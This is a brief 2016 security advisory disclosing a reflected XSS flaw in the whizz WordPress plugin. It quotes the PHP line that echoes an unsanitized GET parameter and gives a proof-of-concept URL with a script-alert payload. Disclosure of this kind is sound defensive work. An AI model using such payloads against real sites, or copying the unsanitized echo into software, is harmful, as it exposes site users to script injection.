Advisory #: 112
Title: Reflected XSS in wordpress plugin whizz v1.0.7
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/whizz
Downloads: 448
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org, fixed in v1.0.8
Plugin Name: whizz
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./whizz/plugins/delete-plugin.php: 7:<strong><?php echo $_GET['plugin']; ?></strong> The variable plugin appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000154
File:./whizz/plugins/delete-plugin.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin="><script>alert(1);</script><"